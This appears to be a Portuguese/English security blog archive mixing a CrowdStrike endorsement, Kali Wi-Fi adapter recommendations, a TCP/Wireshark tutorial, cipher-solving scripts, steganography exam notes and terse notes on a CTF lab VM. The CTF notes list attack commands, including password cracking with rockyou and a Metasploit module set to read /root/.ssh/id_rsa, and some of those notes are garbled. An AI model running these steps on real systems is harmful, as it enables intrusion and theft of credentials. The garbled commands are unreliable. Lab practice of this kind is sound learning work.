Friday, August 18, 2017

Repensando o Chamado: Bloqueando Violações


Publicado em 14 de agosto de 2017
Apresentado em: Privacidade e Segurança da Informação
Edward Amoroso
Fundador e CEO da TAG Cyber
Texto traduzido e comentado por Afonso H. R. Alves 

Vários anos atrás, ao sair de uma reunião no Pentágono, eu disse em voz alta que eu iria de  metrô para DC. Shawn Henry, então com o FBI, passou a ouvir meu comentário e ofereceu um passeio. Pensei em não aceitar e protestar contra o fato de enfrentar todo o tráfego ruim como  inconveniente para ambos. Mas Shawn não ouviria nada disso. Não era problema, explicou.
Em poucos minutos, eu tive o melhor passeio de dois minutos e meio do Pentágono à Union Station de que um ser humano poderia experimentar. (Sim, faça a matemática.) Mas o que me impressionou mais, durante o curto passeio, foi o incrível comando de Shawn sobre risco cibernético, ameaças maliciosas e proteção de segurança. Com uma visão tão profunda, eu só posso imaginar o quão valioso ele deve ser agora com o CrowdStrike. O que me traz. . .

Alguns anos atrás, aconteceu algo com esse gigantesco livro sobre pirataria que explodiu minha mente. Com o título descrito, Hacking Exposed[ii], o enorme tomo explicou tantos métodos de hacking diferentes que mal consegui percorrer um décimo deles. Eu escrevi quatro livros sobre segurança cibernética, então essa era uma perspectiva bastante humilde. Ainda abaixo a minha voz quando menciono o título desse maldito livro.
Ao mesmo tempo, começei a ser um cliente de uma nova empresa chamada Foundstone fundada pelos autores chamada. Um dos diretores desta empresa estava numa conferencia que compareci, e lembro de ter levado vinte páginas de notas na metade de tantos minutos. Agradeci ao orador depois e contei o quão impressionado eu estava com seu grande conhecimento. Esse orador, é claro, era George Kurtz[iii], e ele é um dos fundadores da CrowdStrike. O que me traz. . .

Vários anos atrás, sentei-me numa reunião de comitê de normas em um banco da cidade de Nova York, onde discutimos alguma coisa de segurança - eu esqueci especificamente. Mas durante a discussão, notei que uma pessoa fez muito sentido. Você deve ter tido essa experiência nas reuniões, onde é óbvio que a pessoa que está sentada ali perto da esquina da mesa parece realmente entender o que está acontecendo.
Depois da reunião, entrei e me apresentuei e percebi que era Dmitri Alperovitch[iv] - um nome com o qual estava familiarizado. Ele se tornou uma das vozes da nossa indústria, com uma visão profunda dos fundamentos técnicos de como as ameaças cibernéticas estão evoluindo. Era óbvio durante a reunião, e óbvio para mim agora, que Dmitri sabe o que diabos ele está falando. E ele também é um dos fundadores da CrowdStrike. O que me traz para isso:
Passei uma hora com a equipe da CrowdStrike na semana passada e esboçaram um chamado para a industria que inclui a alegação audaciosa de que eles podem parar as brechas. Eles me mostraram um portfólio de soluções e ofertas que abrangeram uma área tão ampla, que eu disse que eles precisariam de um quarto cheio de gênios para cobrir uma coleção tão desafiadora de capacidades de segurança cibernética. E é quando isso me atingiu: esta empresa possui uma sala cheia de gênios.
O foco da plataforma CrowdStrike em evolução começa com a proteção de ponto final, mas sua tecnologia aborda todas as fases do ciclo de vida do ataque. Eles têm capacidade profunda para enfrentar o risco durante o reconhecimento, a armação, a entrega, a exploração, a instalação, o comando, controle e as operações. Eles entendem técnicas adversárias e a plataforma suporta soluções pró-ativas para uma variedade de clientes diferentes.
"Estamos tentando fazer pela segurança cibernética", explicou a equipe, "o que a Salesforce fez para o ERP". Agora, se alguma outra empresa sugeriu isso como objetivo corporativo, talvez eu tenha repetido. Mas, como descrevi acima, a equipe executiva da CrowdStrike é um pouco diferente. Essas pessoas sabem exatamente o que estão fazendo, e a sua decisão de se concentrar em uma agenda tão agressiva, pareceu-me. . . Bem, parecia realmente factível (realizável).
Meu conselho é que você deve configurar imediatamente o tempo para falar com CrowdStrike. Peça-lhes que o façam através do portfólio da plataforma. Mesmo se você não é um cliente, e mesmo que não tenha planos de mudar sua solução de ponto final, acho que você deveria ouvir a proposta deles. Muito poucas empresas podem se orgulhar de uma equipe de liderança tão capaz, e não posso ajudar, mas me sinto inspirado pelo seu choro de batalha audaz: We Stop Breaches (Nós paramos vazamentos de dados). Eu acho que você vai aprender algo ouvindo esta abordagem.
(Oh, e talvez você possa pedir para George para autografar sua antiga cópia de seu livro que tenho certeza que ocupa metade de sua estante de livros - como ela ainda faz na minha.)

Edward Amoroso
Fundador e CEO da TAG Cyber




[i] Chamado de reunião (Rallying Cry) é algo como uma palavra ou frase, um evento ou uma crença que incentiva as pessoas a se unirem e a agir em apoio de um grupo ou idéia particular.

Monday, August 14, 2017

CTF - Methodology - Metodologia - Capture the Flag - Capturando a Bandeira - resumo para leigos - introdução


















Top Adaptadores USB / Dongles Kali Linux compatíveis - Monitor Mode - Hacker



Por WirelessHack | 15 de janeiro de 2017
Tradução e inserções de explicações - Afonso Alves
https://www.udemy.com/introducao-a-ethical-hacker/?instructorPreviewMode=guest 

Para fazer testes de penetração sem fio com o Kali Linux, é necessário um adaptador / dongle (dispositivo externo conectado a um computado) USB compatível para poder entrar no modo monitor, fazer injeções de pacotes ou ser capaz de fazer as coisas necessárias enquanto estamos fazendo pentesting.

Ao procurar um adaptador que funciona com o Kali, é o chipset do adaptador que lhe permite fazer os testes.

É o chipset do adaptador que controla se é compatível com o Kali. Muitos desses chipsets são instalados em diferentes adaptadores e vendidos. Então, se você encontrar um adaptador de marca com um chipset compatível com kali Linux e depois ver o mesmo chipset em outro adaptador USB genérico, provavelmente ele funcionará. Vou listar exemplos desta na parte inferior da página.

É melhor focar mais no chipset do que no nome do modelo do fornecedor.

Não compre um adaptador USB sem fio com a configuração G apenas. O G sem fio é inútil a menos que você esteja visando apenas roteadores e dispositivos G sem fio. O Wireless N é compatível com versões anteriores ( veja as tabelas de routeadores pela Net para entender melhor as novas versões que também incorporam o AC).
A maioria dos roteadores e dispositivos agora estão configurados com o Wireless N ou AC.

Outra coisa a ter em mente é o alcance do adaptador. Adaptadores USB pequenos são ótimos para manter o perfil baixo, mas sua faixa é limitada em comparação com um adaptador com uma antena 5 dbi ou 9 dbi maior.

Aqui estão os chipsets mais comuns usados com o Kali Linux. Qualquer adaptador USB que use esses chipsets provavelmente funcionará com o Kali.

Atheros AR9271
Ralink RT3070
Ralink RT3572
Realtek 8187L (adaptadores Wireless G)


ATUALIZAR
Existe um novo adaptador USB Pen Testing que funcionou muito bem chamado Panda PAU09.

É um dual-band 2.4 / 5 GHz wireless-N dongle que usa o Ralink RT5572.

Aqui estão os principais adaptadores USB sem fio compatíveis com Kali Linux com links para Amazon e AliExpress se disponíveis.

Adaptadores que usam o Chipset Ralink RT3070

Alfa AWUS036NH 2,4 GHz ....... Amazon
Alfa AWUS036NH 2,4 GHz ...... .AliExpress.com

Alfa AWUS036NEH 2,4 GHz ....... Amazon

Panda PAU05 2,4 GHz ....... Amazon


Adaptadores que usam o Chipset Atheros AR9271

Alfa AWUS036NHA ....... Amazon

TP-LINK TL-WN722N 2,4 GHz ....... (Versão 1 apenas, a Versão 2 não funciona)

Adaptador que usa o chipset RT3572

Alfa AWUS051NH banda dupla 2,4 GHz e 5,8 GHz ....... Amazon


Adaptadores USB G, chipset Realtek 8187L
Os seguintes adaptadores USB são dongles que eram os mais vendidos no passado, mas como eles apenas suportam G sem fio, eles se tornaram um pouco atrazados. 

Alfa AWUS036H Adaptador USB 2.4 GHz ....... Amazon
Alfa AWUS036H Adaptador USB 2.4 GHz ...... .AliExpress.com

Adaptador USB Netgear WG111v2 2.4 GHz ....... Amazon
Adaptador USB Sabrent NT-WGHU 2.4 GHz ....... Amazon

Adaptador barato de longo alcance que funciona com Kali
Aqui está um exemplo de um adaptador de longo alcance barato (48 dBi) que usa o chipset Ralink 3070 que funciona bem com o Kali. Ele tem problemas com qualquer versão do Windows que não é o Windows 7 e não funciona com Macs. 

Para adaptadores que tenham um bom suporte, vá com um dos adaptadores de marca e que tenha a N-N sem fio acima.
High Power SignalKing Signal King 48DBI ...... .AliExpress.com


References:
http://www.wirelesshack.org/top-kali-linux-compatible-usb-adapters-dongles-2015.html 
http://homenetworkadmin.com/wireless-b-vs-g-vs-n-vs-ac-difference/
http://www.aircrack-ng.org/doku.php?id=compatibility_drivers&DokuWiki=mu18sdqh6i7po7c38k2rsa70d0#compatibility 
https://www.udemy.com/introducao-a-ethical-hacker/?instructorPreviewMode=guest
http://kennyvn.com/best-wireless-adapters-kali-linux/ 




Sunday, August 13, 2017

Arnold Cipher CTF










https://en.wikipedia.org/wiki/Arnold_Cipher

hack-d0not5top-vm-ctf-challenge

netdiscover

nmap -sV IP

visit the ip address

scan the webcontet using
dirb http://IP

check the folder - normally control, admin and check the
source code - FLAG number 1 founded = FL46_1

Binary code to converted into Decimal

netcat very verbrose
nc -vv IP

www.asciitohex.com - hexadecimal

brain fuck encoding
splitbrain.org/services/ook
obfuscation/encoding

add the code.ctf to the /etc/hosts as
IP and filename.ctf

dirb http://g4m35.ctf/H3x6L64m3/ /usr/share/wordlists/dirb/big.txt


cryptii.com/octal/text
interpret as octal convert to text
without the \

to access another terminal - use grep* and password the ctf name

exiftool - into an image and analyze the content.

john –wordlist=/usr/share/wordlists/rockyou.txt donotstop
john --wordlist=/usr/share/wordlists/rockyou.txt ignite

ssh username@IP

rbash shell
suedoh -l

surdoh /usr/bin/wmstrt


for i in {i..9999..1};do echo $(suedoh /usr/bin/wmstrt&);done

msf> use auxiliary/admin/webmin/file_disclosure

msf> auxiliary (file_disclosure) > set lhost 192.168.1.113

msf> auxiliary (file_disclosure) > set ssl true

msf> auxiliary (file_disclosure) > set rpath /root/.ssh/id_rsa

msf> auxiliary (file_disclosure) > exploit




ssh2john id_rsa> ignite
john --wordlist:/usr/share/wordlists/rockyou.txt ignite



nc -lp 1234 –vv





http://www.hackingarticles.in/hack-d0not5top-vm-ctf-challenge/

Saturday, August 12, 2017

Analisando cabeçalhos TCP usando Wireshark

Publicado no PENETRATION TESTING em AGOSTO 11, 2017 por RAJ CHANDEL
Traduzido e complementado por Afonso H. R. Alves


O TCP é usado principalmente por vários aplicativos disponíveis na internet, incluindo o World Wide Web (WWW), E-mail, File Transfer Protocol, Secure Shell (porta 22), peer file e streaming media applications como Netflix ou Amazon.
Apertos de mão de 3 vias – ou dito em inglês - 3 Way Handshakes
 O processo de handshaking normalmente ocorre para estabelecer regras de comunicação quando um computador se propõe a se comunicar com um dispositivo estrangeiro. Quando um computador se comunica com outro dispositivo como um modem, impressora ou servidor de rede, ele precisa do aperto de mão para estabelecer uma conexão.

1) Cliente envia um pacote TCP para o servidor com o sinalizador SYN – (Sincroniza)
2) O servidor responde ao pedido do cliente com os sinalizadores SYN e ACK definidos. (Sincroniza e reconhece).
3) O cliente conclui a conexão enviando um pacote com o conjunto de sinalizadores ACK (Reconhecido o pacote.)
Estrutura do segmento TCP
O protocolo de controle de transmissão aceita dados vindo do fluxo de dados, os divide em pedaços e adiciona um cabeçalho(header) TCP criando um segmento TCP. Um segmento TCP carrega apenas o número de seqüência do primeiro byte no segmento.
Um segmento TCP consiste em um cabeçalho de segmento e uma seção de dados. O cabeçalho TCP contém 10 campos obrigatórios e um campo de extensão opcional.


Porta de Origem: O número da porta tendo 16 bits, Identifica a porta de envio.
Porta de destino: O número da porta de destino de 16 bits. Identifica a porta de recepção.
Número de seqüência: O número de seqüência do primeiro byte de dados neste segmento. Se o bit de controle SYN estiver configurado, o número de seqüência é o número de seqüência inicial (n) e o primeiro byte de dados é n + 1.
Número de confirmação: Se o bit de controle ACK estiver definido, este campo contém o valor do próximo número de seqüência que o receptor espera receber.
Deslocamento de dados: O número de palavras de 32 bits no cabeçalho TCP. Indica onde os dados começam.
Reservado: Seis bits reservados para uso futuro; Deve ser zero.
Bandeiras: CWR, ECE, URG, ACK, PSH, RST, SYN, FIN
Janela: Usada nos segmentos ACK. Ele especifica o número de bytes de dados, começando com o indicado no campo do número de confirmação que o receptor (o remetente deste segmento) está disposto a aceitar.
Checksum: O complemento de 16 bits da soma de complemento de todas as palavras de 16 bits em um pseudo-cabeçalho, o cabeçalho TCP e os dados TCP. Ao calcular a soma de verificação, o campo de soma de verificação é considerado zero.
Ponteiro urgente: Apontar para o primeiro octeto de dados seguindo os dados urgentes. Somente significativo quando o bit de controle URG está configurado.
Opções: Assim como no caso de opções de datagrama IP, as opções podem ser ou: - Um único byte contendo o número da opção. Uma opção de comprimento variável no seguinte formato
Padding: O preenchimento do cabeçalho TCP é usado para garantir que o cabeçalho TCP termina e os dados começam em um limite de 32 bits. O preenchimento é composto por zeros.


Diferentes tipos de sinalizadores TCP
Os sinalizadores TCP são usados no cabeçalho TCP, pois estes são bits de controle que especificam estados de conexão específicos ou informações sobre como um pacote deve ser configurado. O campo de sinalização TCP em um segmento TCP nos ajudará a entender a função e o propósito de qualquer pacote na conexão.
Lista de bandeiras
Descrição
O indicador CWR Congestion Window Reduced (CWR) é configurado pelo host de envio para mostrar que recebeu um segmento TCP com o conjunto de sinalizadores ECE
ECE      ECN-Echo indica que o ponto TCP é compatível com ECN durante o handshake de 3 vias

URG      Indica que o campo ponteiro urgente é significativo neste segmento.
ACK       Indica que o campo de reconhecimento é significativo neste segmento.
PSH      Push função para transferir dados
RST      Redefine a conexão.
SYN      Sincroniza os números de seqüência.
FIN       Não há mais dados do remetente.

Pacote TCP de análise usando Wireshark

Como você leu acima "estrutura do segmento TCP" e seu "campo" agora vamos elaborá-lo com a ajuda do Wireshark. Esperamos que o leitor esteja ciente das 7 camadas do modelo OSI para que a análise de pacotes TCP seja mais esclarecida.
A partir de uma imagem abaixo, você pode ver que analisarei a rede para capturar pacotes, mostrando claramente: tempo, IP de origem, IP de destino, protocolo, o comprimento de pacotes e informações.
Como eu havia dito anteriormente, se você conhece o modelo OSI, então você pode ver que ele mostrou três camadas de OSI: camada 2 (Ethernet), camada 3 (Protocolo de Internet), camada 4 (Protocolo de Controle de Transmissão (TCP)).

Agora vamos analisar a camada 4 e comparar a teoria acima com a imagem abaixo dada. Você pode ver que sublinhamos todos os campos do segmento TCP. Agora, leia as informações seguintes dos pacotes TCP.
Origem da porta: 58302
Porta de destino: 80
Número de seqüência: 0
Número de confirmação: 0
Bandeiras: SYN
Valor do tamanho da janela: 29200
Checksum: não verificado
Ponteiro urgente: 0
Opção: 20 bytes
O sinalizador SYN (sincronizar) é o sinalizador de pacote TCP que está configurado para iniciar uma conexão TCP para "handshakes de 3 vias" e o número de Seqüência e o número de Reconhecimento são 0.


A partir da imagem abaixo dada, você pode ver o campo expandido para sinalizadores mostrando apenas que 1 sinalizador/flag SYN está configurada entre a porta de origem, e as bandeiras de destino da porta de destino não estão configuradas neste momento.

Assim, os bits de controle obterão 1 para esse conjunto de sinalizadores na conexão TCP, e em caso contrário, ele permanece zero.
Os pacotes que definem o sinalizador SYN também podem ser usados para executar uma inundação SYN e uma varredura SYN.



 Como eu expliquei acima, em três maneiras, handshakes, a primeira solicitação do cliente com a bandeira SYN depois que o Servidor responde ao pedido do cliente com as bandeiras SYN e ACK definidas e, a partir das informações a seguir, observamos a mesma seqüência de transferência de pacotes entre o cliente e o servidor, bem como O número de seqüência é 0 e o número de confirmação é 1.
Porta de origem: 58302
Porta de destino: 80
Número de seqüência: 0
Número de confirmação: 1
Bandeiras: SYN, ACK
Tamanho da janela: 42408
Soma de verificação: não verificado
Ponteiro urgente: 0
Opção: 12 bytes


Analisando a expansão Campo de sinalizadores, você pode observar que desta vez 2 bandeiras SYN e ACK estão definidas como restante, ou seja, permanecem desativadas ou mostram zero e o bit de controle é definido 1-1 para ambos os sinalizadores. Este é o segundo passo para "handshake de 3 vias".


A partir das informações a seguir, encontramos dessa vez que o número da Seqüência e o número de Reconhecimento são 1 e o Cliente conclui a conexão enviando um pacote com o conjunto de sinalizadores ACK.
Agora, a conexão TCP foi estabelecida entre o cliente e o servidor.
Fonte: 58302
Porta de destino: 80
Número de seqüência: 1
Número de confirmação: 1
Bandeiras: ACK
Tamanho da janela: 229
Checksum: não verificado
Ponteiro urgente: 0
Opção: 12 bytes


A partir da imagem abaixo, você pode observar que o bit de controle é 1 para confirmação da Flag e esta é a terceira etapa necessária para "handshake de 3 vias" entre a porta de origem e a porta de destino.



 Uma vez que a conexão de handshake de TCP esta estabelecida, os dados podem ser transferidos entre o cliente e o servidor, como você pode ver na última imagem, mostrou a 7ª camada para Hypertext Transfer Protocol também para transferência de dados.
Origem: 58302
Porta de destino: 80
Número de seqüência: 1
Número de confirmação: 1
Bandeiras: PUSH, ACK
Tamanho da janela: 229
Checksum: não verificado
Ponteiro urgente: 0
Opção: 12bytes
O uso da função push e do sinalizador PUSH é avançar os Dados do usuário que envia.  Para permitir que os aplicativos leiam e escrevam neste soquete a qualquer momento, os buffers são implementados em ambos os lados de uma conexão TCP. 


Aqui você pode observar que o bit de controle definido para 1 para PUSH e ACK flag como resultado de uma nova camada pode abrir uma transferência de dados entre o aplicativo do remetente e o aplicativo do receptor.

Agora, quando o pacote de dados de transferência explorou, encontramos os detalhes do cabeçalho HTTP como: Host: google.com
User-Agent: Mozilla / 5.0.
 Por fim, os diferentes tipos de cookies que você pode observar em determinada imagem abaixo.



Autor: AArti Singh é Pesquisador e Escritor Técnico em Hacking Articles, um Consultor de Segurança da Informação Social Media Lover and Gadgets. 

Podcast - from social-engineer.org

https://www.social-engineer.org/category/podcast/

Ep 095 – Spies Like Us: From Standup to the CIA

How does one get into the CIA?  You would imagine it was a life of service that lead to top secret training with a covert invite.  Surprising to hear that […]

Social Engineering and Encoding with ROT13

One example of this I recently saw in real life was at Defcon 18. I was part of the team that brought the Social Engineering CTF to Defcon. We saw many contestants who used the pretext of an internal employee. When presented with an objection like, “What is your employee badge number?” an unskilled social engineer would get nervous and either not have an answer or hang up, whereas a skilled social engineer would bring those dissonant beliefs into alignment for the target. Simply stating a badge number they found online or using another method they were able to convince the target that information was not needed, therefore aligning the target to their beliefs. These points are very technical answers to a very simple problem, but you must understand that one can do only so much fake. Choose your path wisely.

Social Engineering: The Art of HumanHacking Published by Wiley publishing, Inc.
Copyright©2011 by Christopher Hadnagy

----------------
Python Web Penetration Testing Cookbook
Encoding with ROT13
ROT13 encoding is definitely not the most secure method of encoding anything. Typically, ROT13 was used many years ago to hide offensive jokes on forums as a kind of Not Safe For Work (NSFW) tag so people wouldn't instantly see the remark. These days, it's mostly used within Capture The Flag (CTF) challenges, and you'll find out why. 

Getting ready

For this script, we will need quite specific modules. We will be needing the maketrans feature, and the lowercase and uppercase features from the string module.

How to do it…

To use the ROT13 encoding method, we need to replicate what the ROT13 cipher actually does. The 13 indicates that each letter will be moved 13 places along the alphabet scale, which makes the encoding very easy to reverse:

from string import maketrans, lowercase, uppercase
def rot13(message):
  lower = maketrans(lowercase, lowercase[13:] + lowercase[:13])
  upper = maketrans(uppercase, uppercase[13:] + uppercase[:13])
 return message.translate(lower).translate(upper)
message = raw_input('Enter :')
print rot13(message)


How it works…

This is the first of our scripts that doesn't simply require the hashlib module; instead it requires specific features from a string. We can import these using the following:

from string import maketrans, lowercase, uppercase

Next, we can create a block of code to do the encoding for us. We use the maketrans feature of Python to tell the interpreter to move the letters 13 places across and to keep uppercase within the uppercase and lower within the lower. We then request that it returns the value to us:

def rot13(message):
 lower = maketrans(lowercase, lowercase[13:] + lowercase[:13])
 upper = maketrans(uppercase, uppercase[13:] + uppercase[:13])
 return message.translate(lower).translate(upper)


We then need to ask the user for some input so we have a string to work with; this is done in 
the traditional way:
message = raw_input('Enter :')
Once we have the user input, we can then print out the value of our string being passed through our rot13 block of code:

print rot13(message)

The following is an example of the code in use:
Enter :This is an example of encoding in Python
Guvf vf na rknzcyr bs rapbqvat va Clguba

Cracking a substitution cipher
The following is an example of a real-life scenario that was recently encountered. A substitution cipher is when letters are replaced by other letters to form a new, hidden message. During a CTF that was hosted by "NullCon" we came across a challenge that looked like a substitution cipher. 
The challenge was:
Find the key:
TaPoGeTaBiGePoHfTmGeYbAtPtHoPoTaAuPtGeAuYbGeBiHoTaTmPtHoTmGePoAuGe 
 ErTaBiHoAuRnTmPbGePoHfTmGeTmRaTaBiPoTmPtHoTmGeAuYbGeTbGeLuTmPtTm 
 PbTbOsGePbTmTaLuPtGeAuYbGeAuPbErTmPbGeTaPtGePtTbPoAtPbTmGeTbPtEr 
 GePoAuGeYbTaPtErGePoHfTmGeHoTbAtBiTmBiGeLuAuRnTmPbPtTaPtLuGePoHf 
 TaBiGeAuPbErTmPbPdGeTbPtErGePoHfTaBiGePbTmYbTmPbBiGeTaPtGeTmTlAt 
 TbOsGeIrTmTbBiAtPbTmGePoAuGePoHfTmGePbTmOsTbPoTaAuPtBiGeAuYbGeIr 
 TbPtGeRhGeBiAuHoTaTbOsGeTbPtErGeHgAuOsTaPoTaHoTbOsGeRhGeTbPtErGe 
 PoAuGePoHfTmGeTmPtPoTaPbTmGeAtPtTaRnTmPbBiTmGeTbBiGeTbGeFrHfAuOs 
 TmPd

Getting ready
For this script, there is no requirement for any external libraries.

How to do it…
To solve this problem, we run our string against values in our periodic dictionary and transformed the discovered values into their ascii form. This in returned the output of  our final answer:

string = 
 "TaPoGeTaBiGePoHfTmGeYbAtPtHoPoTaAuPtGeAuYbGeBiHoTaTmPtHoTmGePoA 
 uGeErTaBiHoAuRnTmPbGePoHfTmGeTmRaTaBiPoTmPtHoTmGeAuYbGeTbGeLuTmP 
 tTmPbTbOsGePbTmTaLuPtGeAuYbGeAuPbErTmPbGeTaPtGePtTbPoAtPbTmGeTbP 
 tErGePoAuGeYbTaPtErGePoHfTmGeHoTbAtBiTmBiGeLuAuRnTmPbPtTaPtLuGeP 
 oHfTaBiGeAuPbErTmPbPdGeTbPtErGePoHfTaBiGePbTmYbTmPbBiGeTaPtGeTmT 
 lAtTbOsGeIrTmTbBiAtPbTmGePoAuGePoHfTmGePbTmOsTbPoTaAuPtBiGeAuYbG 
 eIrTbPtGeRhGeBiAuHoTaTbOsGeTbPtErGeHgAuOsTaPoTaHoTbOsGeRhGeTbPtE 
 rGePoAuGePoHfTmGeTmPtPoTaPbTmGeAtPtTaRnTmPbBiTmGeTbBiGeTbGeFrHfA 
 uOsTmPd"

n=2
list = []
answer = []

[list.append(string[i:i+n]) for i in range(0, len(string), n)]

print set(list)

periodic ={"Pb": 82, "Tl": 81, "Tb": 65, "Ta": 73, "Po": 84, "Ge": 
 32, "Bi": 83, "Hf": 72, "Tm": 69, "Yb": 70, "At": 85, "Pt": 78, 
 "Ho": 67, "Au": 79, "Er": 68, "Rn": 86, "Ra": 88, "Lu": 71, 
 "Os": 76, "Tl": 81, "Pd": 46, "Rh": 45, "Fr": 87, "Hg": 80, 
 "Ir": 77}

for value in list:
 if value in periodic:
 answer.append(chr(periodic[value]))

lastanswer = ''.join(answer)
print lastanswer

How it works…
To start this script off, we first defined the key string within the script. The n variable was then 
defined as 2 for later use and two empty lists were created— list and answer:
string = --snipped--
n=2
list = []
answer = []
We then started to create the list, which ran through the string and pulled out the sets of two 
letters and appended them to the list value, which was then printed:
[list.append(string[i:i+n]) for i in range(0, len(string), n)]
print set(list)
Each of the two letters corresponded to a value in the periodic table, which relates to a 
number. Those numbers when transformed into ascii related to a character. Once this was 
discovered, we needed to map the elements to their periodic number and store that:
periodic ={"Pb": 82, "Tl": 81, "Tb": 65, "Ta": 73, "Po": 84, "Ge": 
 32, "Bi": 83, "Hf": 72, "Tm": 69, "Yb": 70, "At": 85, "Pt": 78, 
 "Ho": 67, "Au": 79, "Er": 68, "Rn": 86, "Ra": 88, "Lu": 71, 
 "Os": 76, "Tl": 81, "Pd": 46, "Rh": 45, "Fr": 87, "Hg": 80, 
 "Ir": 77}
We are then able to create a loop that will go through the list of elements that we previously 
created and named as list, and map them to the value in the periodic set of data that we 
created. As this is running, we can have it append the findings into our answer string while 
transforming the ascii number to the relevant letter:
for value in list:
 if value in periodic:
 answer.append(chr(periodic[value]))
Finally, we need to have the data printed to us:
lastanswer = ''.join(answer)
print lastanswer
Here is an example of the script running:

set(['Pt', 'Pb', 'Tl', 'Lu', 'Ra', 'Pd', 'Rn', 'Rh', 'Po', 'Ta',  'Fr', 'Tb', 'Yb', 'Bi', 'Ho', 'Hf', 'Hg', 'Os', 'Ir', 'Ge', 'Tm',  'Au', 'At', 'Er'])

IT IS THE FUNCTION OF SCIENCE TO DISCOVER THE EXISTENCE OF A GENERAL 
 REIGN OF ORDER IN NATURE AND TO FIND THE CAUSES GOVERNING THIS 
 ORDER. AND THIS REFERS IN EQUAL MEASURE TO THE RELATIONS OF MAN - 
 SOCIAL AND POLITICAL - AND TO THE ENTIRE UNIVERSE AS A WHOLE.

Friday, August 11, 2017

Look for steganography software on the suspect’s computer and CTF


 A blatant clue is finding stego-creating software on the suspect’s computer. The trick is to recognize the different types (experience is needed here) or known hash values of stego software using hash analysis. Many investigators have no clue how many steganographic software packages exist and may overlook the software as being “just part of the system.” The software JPHS for Windows can decrypt some images. Notice that the software gives you details about the original file, the hidden file, and, toward the bottom, the new file with the stego.

Use stego detection software.  Software such as Gargoyle (www.tucofs.com) can be used to detect files that have steganographic signatures. They may not always detect it, though, if a new algorithm was used or the algorithm is so good that it escapes detection.

Yes, sometimes you get a question that’s relatively easy, and this is a prime example. Hiding files is exactly what it sounds like—find a way to hide files on the system. There are innumerable ways to accomplish this, but steganography (which includes hiding all sorts of stuff inside images, video, and such) and NTFS file streaming are the two you’ll most likely see referenced on the exam from the Ethical hacker CEH.
Which of the following tools can assist in discovering the use of NTFS file streams? (Choose all that apply.)
       A.      LADS B. ADS Spy C. Sfind D. Snow 
A , B , C . NTFS streaming (alternate data streaming) isn’t a huge security problem, but it is something many security administrators concern themselves with. If you want to know where it’s going on, you can use any of these tools: LADS and ADS Spy are freeware tools that list all alternate data streams of an NTFS directory. ADS Spy can also remove alternate data streams (ADS) from NTFS file systems. Sfind, probably the oldest one here, is a Foundstone forensic tool you can use for finding ADS. As an aside, dir /R on Windows systems does a great job of pointing these out.

D is incorrect because Snow is a steganography tool used to conceal messages in ASCII text by appending whitespace to the end of lines.


CTF – from cyberspace game.

To resolve the CTF – finding the flag for this specific image founded in the source code with a different name, I used this sequence to find the hidden message in the image:
first – download the stegsolve on linux
chmod +x stegsolve.jar  /* to give authority to the program.
mkdir bin – create a directory
mv stegsolve.jar bin/  - move to the folder
to run the .jar file – do:
java –jar jarfilename.jar
if you image is compressed, do:
unrar e yourfilename.rar
I clicked in stegsolve- menu analyze – file format and I found the flag, but you can play here to find more information in different files.


Recommended reading
For anyone interested in the history of code making and code breaking, the book to read is  [KAHN96]. Although it is concerned more with the impact of cryptology than its technical development, it is an excellent introduction and makes for exciting reading. Another excellent historical account is [SING99].
A short treatment covering the techniques of this chapter, and more, is [GARD72].  There are many books that cover classical cryptography in a more technical vein; one of the  best is [SINK09]. [KORN96] is a delightful book to read and contains a lengthy section on  classical techniques. Two cryptography books that contain a fair amount of technical material on classical techniques are [GARR01] and [NICH99]. For the truly interested reader,  the two-volume [NICH96] covers numerous classical ciphers in detail and provides many  ciphertexts to be cryptanalyzed, together with the solutions. An excellent treatment of rotor machines, including a discussion of their cryptanalysis is found in [KUMA97]. [KATZ00] provides a thorough treatment of steganography. Another good source is  [WAYN09].

GARD72 Gardner, M. Codes, Ciphers, and Secret Writing. New York: Dover, 1972.
GARR01 Garrett, P. Making, Breaking Codes: An Introduction to Cryptology. Upper
Saddle River, NJ: Prentice Hall, 2001.
KAHN96 Kahn, D. The Codebreakers: The Story of Secret Writing. New York:
Scribner, 1996.
KATZ00 Katzenbeisser, S., ed. Information Hiding Techniques for Steganography and
Digital Watermarking. Boston: Artech House, 2000.
KORN96 Korner, T. The Pleasures of Counting. Cambridge, England: Cambridge
University Press, 1996.
KUMA97 Kumar, I. Cryptology. Laguna Hills, CA: Aegean Park Press, 1997.
NICH96 Nichols, R. Classical Cryptography Course. Laguna Hills, CA: Aegean Park
Press, 1996.
NICH99 Nichols, R., ed. ICSA Guide to Cryptography. New York: McGraw-Hill, 1999.
SING99 Singh, S. The Code Book: The Science of Secrecy from Ancient Egypt to
Quantum Cryptography. New York: Anchor Books, 1999.
SINK09 Sinkov, A., and Feil, T. Elementary Cryptanalysis: A Mathematical Approach.
Washington, D.C.: The Mathematical Association of America, 2009.
WAYN09 Wayner, P. Disappearing Cryptography. Boston: AP Professional Books,
2009.


 From the Linux Format - Magazine